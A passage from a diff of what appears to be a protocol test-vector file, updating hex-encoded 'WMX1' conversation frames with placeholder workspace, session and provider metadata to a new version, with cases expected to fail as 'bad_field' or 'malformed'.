383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000005e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-selection-extra-key", "direction": "down", - "hex": "574d58310101000001000000430600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c226578747261223a317d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000800600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c226578747261223a317d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-unsorted-keys", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2266616d696c79223a2266616d696c792d616c706861222c226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d7d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2266616d696c79223a2266616d696c792d616c706861222c226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d7d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "malformed" }, { "name": "conversations-provider-over-4k", "direction": "down", - "hex": "574d58310101000001000000651b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b226361706162696c6974792d3030302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000a21b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d3030303